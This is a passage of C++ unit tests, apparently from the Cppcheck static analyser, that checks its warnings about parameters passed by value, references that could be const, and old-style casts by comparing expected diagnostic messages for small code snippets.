ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) 